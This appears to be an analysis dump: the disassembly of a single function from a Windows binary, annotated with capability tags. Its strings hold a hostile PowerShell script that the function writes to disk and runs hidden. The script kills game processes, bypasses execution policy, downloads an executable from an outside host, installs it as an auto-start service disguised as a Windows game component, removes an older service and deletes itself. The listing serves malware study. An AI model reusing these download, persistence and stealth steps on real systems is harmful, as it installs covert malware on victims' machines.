Function at 0x10001220
Capabilities:
Create directory
Create process on windows
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003f17
mov eax, dword fs:[0]
push eax
sub esp, 0x38c
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x10001301
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x398]
call fcn.100021b0
push str.Windows_Game_Service
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.10002710
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x384]
cmp ecx, 8
jb 0x100012e2
mov edx, dword [ebp - 0x398]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100012d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100012d8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100030cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x388], 0
mov dword [ebp - 0x384], 7
mov word [ebp - 0x398], ax
jmp 0x10001311
push 0x1000526c
lea ecx, [ebp - 0x230]
call fcn.100021b0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 8
push 0
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xb0
lea eax, [ebp - 0x2f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [ebp - 0x220]
mov ebx, 0x7ffffffe
mov eax, ebx
add esp, 0xc
sub eax, ecx
cmp eax, 0xf
jb 0x10001786
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 0xf
cmovae eax, dword [ebp - 0x230]
push str.powershell.ps1
push ecx
push eax
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x368]
call fcn.10002ea0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x368]
cmp dword [ebp - 0x354], 8
lea ecx, [ebp - 0x2f8]
cmovae eax, dword [ebp - 0x368]
sub esp, 0xc
push eax
call fcn.10002570
mov eax, dword [ebp - 0x2f8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x2f8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2fc], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x354]
cmp ecx, 8
jb 0x10001426
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000141c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000141c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100030cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 7
mov word [ebp - 0x368], ax
cmp dword [ebp - 0x2a8], eax
jne 0x1000146d
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, str.Failed_to_create_PowerShell_script_file.
push 0x10002a20
call fcn.100027e0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
jmp 0x1000171d
cmp dword [ebp - 0x21c], 8
lea edi, [ebp - 0x230]
lea esi, [ebp - 0x230]
mov edx, str.taskkill__f__im__Fleshost.exe__n
cmovae edi, dword [ebp - 0x230]
lea ecx, [ebp - 0x2f8]
cmovae esi, dword [ebp - 0x230]
call fcn.100027e0
mov edx, str.taskkill__f__im__hl.exe__n
mov ecx, eax
call fcn.100027e0
mov edx, str.taskkill__f__im__cstrike.exe__n_n
mov ecx, eax
call fcn.100027e0
mov edx, str.powershell__WindowStyle_Hidden__Command__Set_ExecutionPolicy__Scope_Process__ExecutionPolicy_Bypass__Force_
mov ecx, eax
call fcn.100027e0
mov edx, str.Set_Item__Path_env:__COMPAT_LAYER__Value_RunAsInvoker_
mov ecx, eax
call fcn.100027e0
mov edx, str.Invoke_WebRequest__Uri_http:__update.gs_boost.me_GameInputService.exe__OutFile_
mov ecx, eax
call fcn.100027e0
mov edx, esi
mov ecx, eax
call fcn.100027e0
mov edx, str.GameInputService.exe_
mov ecx, eax
call fcn.100027e0
mov edx, str.New_Service__Name_GameInputService__BinaryPathName_
mov ecx, eax
call fcn.100027e0
mov edx, edi
mov ecx, eax
call fcn.100027e0
mov edx, str.GameInputService.exe__StartupType_Automatic__Description_Windows_Game_Keyboard_
mov ecx, eax
call fcn.100027e0
mov edx, str.Start_Service__Name_GameInputService_
mov ecx, eax
call fcn.100027e0
mov edx, str.Stop_Service__Name_fleshost_
mov ecx, eax
call fcn.100027e0
mov edx, str.sc.exe_delete_fleshost__n_n
mov ecx, eax
call fcn.100027e0
mov edx, str.Remove_Item__Path__MyInvocation.MyCommand.Path
mov ecx, eax
call fcn.100027e0
lea ecx, [ebp - 0x2f4]
call fcn.100024e0
test eax, eax
jne 0x10001567
push eax
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
mov ecx, dword [ebp - 0x220]
sub ebx, ecx
cmp ebx, 0x2e
jb 0x1000178b
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push ecx
cmovae eax, dword [ebp - 0x230]
push eax
push 0x2e
push str.powershell.exe__ExecutionPolicy_Bypass__File__
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x380]
call fcn.10002ea0
push str.powershell.ps1_
lea edx, [ebp - 0x380]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.10002710
add esp, 4
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x36c]
cmp ecx, 8
jb 0x1000160a
mov edx, dword [ebp - 0x380]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001600
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001600
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100030cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x370], 0
push 0x40
push eax
mov word [ebp - 0x380], ax
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x36c], 7
mov dword [ebp - 0x33c], 0x44
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x34c]
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
cmovae eax, dword [ebp - 0x248]
push ecx
lea ecx, [ebp - 0x33c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x100016a0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
mov edx, str.Failed_to_execute_PowerShell_script.
push 0x10002a20
call fcn.100027e0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
jmp 0x100016c4
push 0xffffffffffffffff
push dword [ebp - 0x34c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x34c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x348]
call esi
mov ecx, dword [ebp - 0x234]
cmp ecx, 8
jb 0x10001700
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100016f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000175a
push ecx
push edx
call fcn.100030cb
add esp, 8
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
lea ecx, [ebp - 0x2f8]
call fcn.100017a0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x1000176a
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001760
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001760
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100030cb
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100030bd
mov esp, ebp
pop ebp
ret
call fcn.10001170
call fcn.10001170
int3